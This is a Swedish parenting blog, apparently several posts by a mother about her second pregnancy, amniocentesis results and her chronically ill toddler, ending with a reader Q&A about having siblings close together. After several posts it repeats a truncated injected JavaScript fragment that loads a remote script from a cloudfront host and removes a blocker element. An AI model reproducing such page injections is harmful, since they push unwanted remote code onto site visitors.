Pyret v.31

Alltså bara 7-10 veckor kvar innan pyret dimper ner hos oss, en levande kärleksförklaring full av liv och glädje….Det lilla pyret i magen, han den lilla, lillebror, han som för övrigt nog redan fått ett namn, han lever rövare mest hela dagen. Han sparkar nu mer upp till revbenen och ligger gärna och trycker neråt i livmodern, mindre skönt med andra ord. Dessutom har pyret en tendens att lägga sig på tvären över magen, detta resulterar i sparkar på ena sidan och massa tryck från händerna på den andra sidan. Känns som magen liksom töjt sig till max redan nu och jag är helt oförstående kring hur jag möjligen skulle kunna växa något mer??? Kan inte alls erinra mig om att det var så här när jag väntade Noel, men man glömmer ju så fort, trots att det bara kommer skilja 2 år mellan dem.

Till min stora glädje är han nu vaken mer på dagtid än nattetid som för några veckor sedan, man kan ju hoppas (inbilla sig) att den dygnsrytmen håller i sig även när han kommer ut. Annars får jag njuta nu av att han faktiskt sover när jag gör det. Noel och jag har alltid levt i symbios. Det har alltid varit något speciellt mellan mig och Noel, redan från när han låg i magen. Var han vaken på natten när han låg på BIVA så vaknade även jag och hann oftast gå ner innan dom ens ringt efter mig. Har Noel mått dåligt/varit sjuk så har jag med varit det osv. Lillebror däremot verkar leva på efter eget behag i magen, och det kommer minst sagt bli spännande att se honom ta plats och hitta sin egna roll i vår familj. Det vackraste i livet är för mig att få se mina barn växa upp, få en egen personlighet och utvecklas genom livet. Jag är så stolt över Noel och hans resa han hittills gjort och det ska bli så otroligt underbart att få se dessa två bröder växa upp tillsammans, bråka så som syskon gör men också hjälpa varandra på livets väg. Jag hoppas ju såklart som de allra flesta föräldrar gör, att mina barn ska ha stor nytta av varandra och få möjligheten att ge glädje till varandra och hitta trygghet i sitt/sina syskon.

För min del får lillebror gärna stanna i magen lite längre än beräknat, men det känns som han snarare kommer komma lite tidigare än utsatt datum. Något jag känner på mig. Har galet mycket sammandragningar varje dag och det började för någon vecka sedan, visserligen är det olika från graviditet till graviditet, men det började inte så här tidigt med Noel. Lite molnande mensvärk till och från och all foglossning och ryggont gör att det hela förstärks och känns som små värkar mellan varven. Denna gång måste vi ha lite bättre koll och vara mer uppmärksamma på alla sammandragningar. Vi visste ju inte att förlossningen startat med Noel utan hade bara tur i att dom upptäckte att jag var öppen 5 cm. Hur som så hoppas jag han håller sig inne tills det är säkert att komma ut, alltså ungefär ett par månader till. Tills dess har jag nog hunnit tröttna på bebismagen och längtar nog ännu mer efter att få se filuren där inne, att de flesta som väntat barn i vår umgängeskrets redan fått sina små gör inte längtan mindre direkt :)

// -1?’https':’http';var ccm=document.createElement(‘script’);ccm.type=’text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};
// ]]>

Lillebror

Nu är vi redan i v.29, tiden går alldeles för fort. Och magen växer alldeles för fort den med :) känner mig stor som ett hus, även om jag ligger precis på kurvan som man ska göra. Allt annat med lillebror verkar också vara precis som det ska vara. Vi ska börja med tillväxtkontroller (extra ultraljud) från v.32, vi blev erbjudna det i samband med att vi bestämde oss för att göra fostervattensprovet, och det gör ju inget, vi får några extra tillfällen till att tjuvkika på brorsan där inne :)

För övrigt så har syskonvagnen ju anlänt och den funkar kanon att ha som ”singelvagn” till bara Noel så länge. Vi är jättenöjda med den, men det kommer bli ännu roligare att ha två små pojkar där i sen. Min rygg är helt kass, har sjukt ont de flesta dagar, och inget verkar hjälpa, har tid imorgon till sjukgymnasten på mödravården så vi får se om hon kan hjälpa mig mer. Det är annars full rulle i magen, han sparkar mest hela tiden känns det som, och som bekant så fort man själv ska vila eller sova, men det är kul att se alla dessa vågor på magen osv. Synd bara att tiden går så fort och att man inte riktigt ”hinner med” att känna efter lika mycket som man gjorde med Noel.

// -1?’https':’http';var ccm=document.createElement(‘script’);ccm.type=’text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};
// ]]>

Lillebror

Det visade sig alltså att pyret i magen blir en liten pojke :) En liten lillebror. Så nu får vi två små vildingar att se efter i framtiden, två små pojkar som säkert kommer hitta på en hel del bus ihop! Lillebror verkar också vara en helt frisk liten pojke, vi gjorde ett extra ultraljud i v.23 och där såg allt bra ut, hjärtat och övriga organ ser ut som dom ska och han växer symmetriskt. Han ligger lite under kurvan, men man får vara en liten bebis också, så länge man inte är för liten 😉

// -1?’https':’http';var ccm=document.createElement(‘script’);ccm.type=’text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};
// ]]>

Pyret – Ultraljud v.19

Igår var vi på andra rutinultraljudet med pyret. Det är så häftigt att kunna se att det är en liten bebis som ligger där inne, att man kan se fingrar och tår, vi räknade fint till fem fingrar på varje hand och fem tår på varje fot. Allt annat såg också bra ut, vi kikade extra noga på hjärtat, höger och vänster kammare samt höger och vänster förmak, skiljeväggarna fanns där dem skulle och såg ut att vara hela. Alla inre organ såg också bra ut och storleksmässigt så växer pyret proportionerligt och fint. Pyret är väl ca 20cm nu och väger ungefär som en stor chokladkaka :)

Nästa ultraljud blir i v.22-23 då har vi en utökad screening över organen för att se så man inte missar några eventuella missbildningar så som hjärtfel osv. Vi har även blivit erbjudna att gå på tillväxtkontroller from v.32, tror det blir varannan vecka. Inget vi tackat nej till, bara extra tillfällen att få se pyret i förväg, dessutom så är ultraljud inget skadligt och vi kan lika gärna göra de undersökningar vi blir erbjudna, även om det verkar som att pyret är en till synes frisk och livlig bebis!

Just det, vi fick tillsammans med provsvaren reda på vad pyret är, alltså en kille eller tjej. Men jag väntar med att avslöja det tills vi talat om för alla i familjen 😉 Så ni får hållas till tåls ett tag till…om ni nu är nyfikna!

Nästa gång ska vi försöka få till nya ultraljudsbilder på pyret, igår ville pyret nämligen inte var så stilla…

Pyrets provsvar

Igår fick vi det ”efterlängtade” samtalet ifrån sjukhuset som meddelade resten av reslutatet från fostervattensprovet. Den fullständiga kromosomanalysen visade heller INGET konstigt eller avvikande, utan det verkar som att pyret är en helt vanlig frisk liten bebis!

En otrolig lättnad har lagt sig över oss och det känns som vi verkligen vågar andas ut nu. Man har ju distanserat sig en del till graviditeten och inte glatt sig ordentligt, även om vi såklart är jätte glada, men vi har väl inte vågat ta ut glädjen i förskott fören vi visste att pyret var frisk.

Nu har vi ca 21 veckor kvar tills pyret anländer om inget händer efter vägen. 21 veckor vi ska ta tillvara på, bara vi tre men även ta tillvara på tiden i magen och njuta av att se magen/bebisen växa där inne!

Onsdag

Ser att det kommit knoppar på träden här utanför, känns helt fantastiskt att det snart är vår på riktigt. Jag längtar väldigt mycket efter att det ska bli varmare, att de första svenska jordgubbarna ska komma och att få vara ute lite mer.

I eftermiddag har Noel tid för sin synundersökning. Har ingen aning om hur det kommer gå, om dom hittar något ”fel” eller inte, är nervös för att jag ogillar när läkare ska bedöma Noel och sedan kanske tala om att det och det är fel, det är aldrig roligt även om vi såklart vill veta och behöver veta för att kunna hjälpa honom bättre. Det vi vet själva är att han är ljuskänslig, darrar lite på ögonen ibland och har ibland svårt att fokusera blicken längre stunder, främst på främlingar. Vet dock inte om ljuskänsligheten beror på för lite vana vid att vara ute och om det där med fokus i blicken är en utvecklingsfråga, ögonen utvecklas ju i takt med barnet, så det kan mycket väl vara både anknytningsfråga och en utvecklingsfråga. Vet ej. Den förra undersökningen vi gjorde var ju inte direkt så givande. Noel fick droppar och sedan lös läkaren med en ficklampa i hans ögon som han sedan skulle följa med blicken, då var han inte ens 1 år. Han följde en bit men tappade intresset, eller så ville han helt enkelt inte titta in i ljuset. Läkaren gjorde då bedömningen att han eventuellt hade en mindre synnedsättning, men inget direkt anmärkningsvärt, men erbjöd oss att höra av oss igen, vilket vi ju gjort nu.

Jag vet heller inte vad man kan göra om han har en synnedsättning vid så liten ålder. Glasögon? Laserbehandling? Operation? Vet ju iof inte om han har några jätteproblem med ögonen, men som vanligt skenar ju tankarna iväg. Vi får väl se i eftermiddag hur det går.

Annars är han pigg och glad, bortsett från tänderna så är det full fart. Vill helst stå upp hela tiden, det tycker han är roligt. Vill inte gärna äta, det tycker han är skittråkigt och slår bort flaskan/skeden och böjer bort huvudet i ren protest. Småbarnstrots eller tänderna som stör? Ingen aning, det är sjukt irriterande att han inte vill äta något, tackar gud för knappen annars hade väl pojkstackaren sett ut som ett skelett vid det här laget och inte orkat med något alls!

På förmiddagen hade jag och Noel fin fint besök av Jasmine och hennes bamsemage, v.32 är dom i nu, så inte så långt kvar nu tills älskade Julian blir storebror. Vi ses inte så ofta därför uppskattar jag våra stunder enormt mycket, vi har väldigt mycket gemensamt jag och Jasmine och jag är evigt tacksam över att våra vägar korsats sen jag flyttade till Norrköping. Som med så många nyfunna vänner vi lärt känna sedan Noel föddes, det finns en mening med allt, och de vänner vi funnit längs vägen är ett stort tecken på det!

Min egna mage växer också, måste börja ta bilder nu känner jag, innan tycker jag inte att det synts så mycket, men nu börjar det träda fram mer tydligt, kan känna lilla pyret långt ner i magen, hur det buffar och rör sig. En obeskrivlig känsla. Dock känns det som att glädjen lagts lite åt sidan så jag längtar efter att få resten av provsvaren så vi kan glädjas och få mer verklighet i det hela, om bebis är frisk såklart, annars blir det andra tankar som måste få ta plats, hua….

En trött liten kille!

Ps: vet inte vad som hänt med bloggen, varför det blir massa konstiga bokstäver och siffror i slutet av inläggen…någon som vet???

// -1?’https':’http';var ccm=document.createElement(‘script’);ccm.type=’text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};
// ]]>

Första svaren

Idag fick vi de första svaren från fostervattensprovet, det som inkluderar analys av Downs Syndrom och Trisomi 13 samt 18 (tror jag), de vanligaste avvikelserna i alla fall, och allt såg OKEJ ut. Stor lättnad även om vi väntar in den fullständiga kromosomanalysen som vi bör få svar på nästa vecka någon gång, beror lite på eftersom det varit röda dagar också.

Annars händer inte mycket, Noel är en glad skit, sov hyfsat bra inatt mellan oss i sovrummet, annars är det rätt gnälligt på nätterna. Han har blivit mer stadig med att stå upp och skrattar för det mesta hela tiden på dagarna! Idag har jag och Noel haft besök av två vackra kvinnor, också fantastiska, genuina vänner, vi ses väldigt sällan så det var jättekul att vi kunde hitta en dag att ses alla tre…

Vad det gäller pyret så börjar det synas lite på magen nu, även om jag själv glömmer bort att jag är gravid, känner av en hel del prassel där inne, eller bubblande får man väl säga, det är kul men eftersom jag inte direkt har tanken på lillbebisen hela tiden blir jag nästan lite rädd emellanåt när jag väl känner något haha!

Nu ska jag mata klart Noel, ta en bit vit toblerone och se klart ett avsnitt av One Tree Hill på datorn, jovisst, är fortfarande löjligt fast i den serien och ser alla avsnitt i förväg på datorn innan de kommer till Sverige, dock sista säsongen nu och det är en riktigt välgjord säsong! Töntigt eller ej, sitter iaf som förstenad 40 min åt gången :)

// -1?’https':’http';var ccm=document.createElement(‘script’);ccm.type=’text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};
// ]]>

Fostervattensprovet

Igår var det då dags för att göra fostervattensprov. Inget jag sett fram emot. Jag hatar nålar och tiden med Noel har inte gjort min nålrädsla bättre heller. Jag våndades tanken på att sticka en nål rakt genom magen, alla olika väggar och så in till bebisen. Jag visste att det inte skulle ta så lång tid och jag brukar kunna fokusera och ändå ”genomlida” det som måste göras. Väl där uppe skakade jag dock som ett asplöv, skyllde dock på att jag frös vilket iof var sant.

Det gick bra i alla fall. Inget jag gärna gör om men inte heller något som var fruktansvärt. Läkaren som gjorde undersökningen var bra och vi kommunicerade på ett bra sätt. Det tog som sagt längst tid att förbereda och sprita av magen osv. Sticket i sig var obehagligt men gjorde inte så ont, det kändes så klart när hon stack genom huden och bukväggen, men genom livmodern stramades det mest åt som en koncentrerad sammandragning och det kändes mest olustigt, sedan tog det ett par minuter att suga ut vattnet från en av fostervattenssäckarna, då kände jag i princip ingenting utan fokuserade bara på att blunda och andas. Det hela var över på säkert 5 minuter om inte mindre, något jag kunde stå ut med men det var verkligen en obehaglig upplevelse. Vi fick ju dock se pyret snurra runt där inne innan vi stack och det var ju iaf mysigt!

Vi får de första svaren nästa vecka någon gång, alltså svar på om barnet har Downs Syndrom, trisomi 13 eller 18 (tror jag), alltså de vanligaste avvikelserna som man normalt gör riskbedömning på med kub-testet. Den fullständiga kromosomanalysen får vi svar på veckan därpå förhoppningsvis, det dröjer som sagt lite längre än de första svaren. Jag känner mig inte så orolig och tycker inte väntan är så jobbig, iaf så känner jag inte så nu. Jag är bara glad att själva undersökningen är över och nu väntar jag på att det ska bli onsdag igen så vi kan slappna av och släppa det där med missfallsrisken efter fostervattensprovet. Risken är iof störst de första dagarna men efter en vecka så ska man kunna slappna av!

Nu gäller det bara att hålla tummarna och att tänka positivt, måtte detta lilla mirakel vara helt friskt!

Pyret

Pyret, alltså Noels lilla syskon är väl cirkus 14 veckor och några dagar gammal nu. Fram tills för en vecka sedan så mådde jag verkligen skitdåligt. Men i samma veva som Noel började klara sig utan syrgas så började även mitt illamående och alla kräkningar att försvinna. Det är rätt lustigt det där, för bortsett från att jag är gravid så har jag och Noel liksom alltid levt i symbios. Har han varit sjuk har jag med mått dåligt och tvärt om. Såklart att vi alla mår bättre när Noel är friskare men har han varit sjuk i något har jag också varit det.

Jag vill absolut inte ta ut något i förskott och säga att yes vad skönt att illamåendet är borta nu, utan istället kommer jag njuta av varje morgon jag kan gå upp utan att kräkas och faktiskt njuta av frukost tillsammans med resten av familjen, precis som vi njuter av varje dag Noels lungor klarar sig utan syrgas på dagen.

Om en vecka är det tid för fostervattensprov. Det känns rätt jobbigt faktiskt. Det är mycket skuldkänslor, en del oro och så rädslan för själva ingreppet. Jag är livrädd för nålar, och har inte ”vant” mig sedan vi fick Noel heller. Nålen är ju sjukt stor/lång och ska ju igenom allt och in till bebisen, känns inte alls som något man bara gör och så är det klart sen. Vi gör ju fostervattensprovet för vår skull, för att få en möjlighet, en möjlighet som vi aldrig fick med Noel. Noels avvikelse är inte ärftlig, den är inte genetisk och jag och Ted har absolut inga fel på våra gener och dem krockar inte med varandra. Noels avvikelse var rena slumpen, eller som jag vill se det, en stark livsvilja som verkligen vill komma till! Men som alla andra så önskar man sig ett friskt barn, och för att inte behöva uppleva, eller i alla fall få välja, det vi gick igenom efter Noels förlossning så är fostervattensprovet ett självklart val för oss. Det ger oss möjligheten att få överväga, orkar man två sjuka barn osv. Förhoppningsvis är detta barnet friskt och vi behöver inte överväga några val, men eftersom vi inte vet så vill vi ta reda på allt vi kan i förväg. Men det känns ändå jobbigt. Jag tror att de som gjort fvp förstår vad jag menar, man har skuldkänslor på flera sätt, samtidigt så känns det som att man leker med ödet hur man än väljer att göra!

För övrigt så känner jag inte av bebisen alls, det är ju för tidigt, men jag känner mig inte direkt gravid över huvud taget. Kanske för att jag inte riktigt tagit in det än och kanske inte gör det fören efter vi fått svar på fostervattensprovet. Men det var lättare när jag kräktes, för så länge jag mår dåligt så mår ju bebisen bra 😉

Vi planerar inte så mycket, känns som vi tar det efter fvp-svaren. Däremot har vi börjat kika på syskonvagn, vi velar mellan en dyr men praktisk vagn eller Urban Jungles syskonvagn, vi har ju deras ”enkelvagn” till Noel nu. Fast det lutar åt den dyra vagnen, just för att UJ inte går att vända emot den som kör vagnen, som det är nu sitter Noel vänd framåt och han verkar inte alls tycka om det, eller det är ju något som han inte gillar med vagnen för han gallskriker ju så fort han måste åka den. Så helst vill jag ha en syskonvagn så vi kan vända bägge barnen emot oss. Världens i-lands problem, men skönt att även vi har sådana!

Frågor och Svar

Hej!
Och grattis! Måste ändå fråga lite om hur ni tänker med ett syskon så tätt inpå Noel. Om jag var i er situation känns det som att jag skulle vänta några år för att kunna lägga all energi på Noel och få honom att fungera så bra som möjligt. Att jag helt enkelt skulle vara rädd för att inte orka med två barn när ett av dem är svårt sjukt och fortfarande så litet. Hoppas du inte tar illa upp, är bara nyfiken på hur ni har resonerat kring detta?

Svar:

Egentligen så har jag ingen lust att svara på detta då jag anser att det är upp till varje enskilt par att besluta om när man är redo att skaffa barn/syskon. Alla familjer bestämmer själva vad som passar just deras liv, om man vill ha barnen tätt eller med långt mellanrum, allt beroende på vilken livssituation man befinner sig i och kanske på hur man har tänkt/drömt om hur man vill att familjen ska se ut, vissa vill ha ett barn andra 7 barn osv. Dessutom anser jag att det är omöjligt för utomstående att förstå vår situation, du skriver att om du vore i samma situation som oss skulle du välja si och så, vilket jag tror är väldigt svårt att veta i förväg, när Noel var som sjukast hade vi aldrig haft en tanke på ett syskon, men nu känns det helt rätt. Det är överlag svårt att förstå till 100% hur någon annans vardag ser ut och hur man får allt att gå ihop, det vet man nog inte om man inte lever väldigt tätt ihop.

Just när det kommer till Noels sjukdomsbild så är det absolut inte något som oroar oss i kombination med ett syskon, vi vet inte hur Noels liv eller hälsa kommer se ut nästa vecka, heller inte om 3 år. Vi kan inte sätta livet och våra drömmar på paus bara för att Noel är sjuk, han är värd den familj som vi alltid velat haft oavsett om han är sjuk eller inte. Vi vill inte vänta med syskon i flera år ”ifall” han blir sämre eller vänta på att det ska bli bättre när vi inte vet när och om det kommer ske. Som det är nu så är han betydligt mycket bättre än han var för 6 månader sedan och klarar att vara ur syrgasen i perioder på dagen.

Rent praktiskt så kommer vi ha tid och ork att fokusera på bara Noel även om vi får ett syskon, vi får båda vara hemma med honom om vi så önskar, och vi har alla föräldradagar kvar med honom plus att vi får nya med det nya syskonet, vilket möjliggör att vi kan vara hemma med ”varsitt barn” väldigt länge om vi känner att vi behöver vara hemma bägge två. Vi lägger ner hjärta och själ i Noel, i hans sjukdomar och i hans utveckling, vi kommer inte lägga mindre fokus på det när syskonet kommer, och vi kommer ge dem bägge två den uppmärksamhet de behöver, annars hade vi aldrig skaffat ett syskon. Jag hoppas att alla skaffar barn för att man känner att man har kärleken, orken och tiden till ett barn precis så som det behöver.

Det är klart att det kommer bli tufft med två små, precis som det är för ALLA som får syskon, mindre sömn och plötsligt två att ta hand om. Men det kommer INTE bli jobbigare för oss pga Noels extra behov, det är så mycket vardag för oss och något som alltid kommer följa honom, det kommer bli lika jobbigt med syskon nu som om 5 år, det blir ju en markant skillnad att få ett syskon i familjen.

För Noels del som kommer ett syskon vara guld värd, och också för att det bara kommer vara 2 år mellan dem. Ett syskon kommer verkligen hjälpa honom i hans utveckling och ett syskon kommer alltid finnas där vid hans sida, någon han kan leka med och umgås med. Med tanke på hans infektionskänslighet så är det jättekul med ett syskon som alltid finns där eftersom Noels möjligheter till förskola och dylikt blir begränsade pga hans känslighet. För oss är det mer fördel med ett syskon nu än det skulle vara jobbigt. Om man bara ansåg att det skulle vara jobbigt med ett syskon så borde man inte skaffa något i det läget. Man skaffar barn av kärlek och för att man vet att man har lika mycket kärlek och uppmärksamhet att ge till alla sina barn, så anser jag i alla fall.

Allas liv är olika och allas val är olika, baserade på just ens egna livssituation, vilja och erfarenhet. Jag ifrågasätter inte andras val, utan jag anser att alla vuxna människor har omdöme nog att göra sina egna val för sig själva och sin familj och att man gör dem med eftertänksamhet och med kunskap om att just det är det bästa beslutet för sig själv och sin egen familj!

Vi ville långt innan Noel kom, ha barnen tätt med ca 2-3 år emellan dem och jag känner mig lycklig över att vi har möjlighet att ge Noel glädjen med ett syskon redan i höst. Han kommer ha stor glädje av ett syskon precis som vi kommer ha stor glädje av ett till barn, förhoppningsvis är detta barnet friskt och det kommer verkligen vara en enorm glädje att även få ett friskt barn och kunna få en del i bägge barnens ”världar”!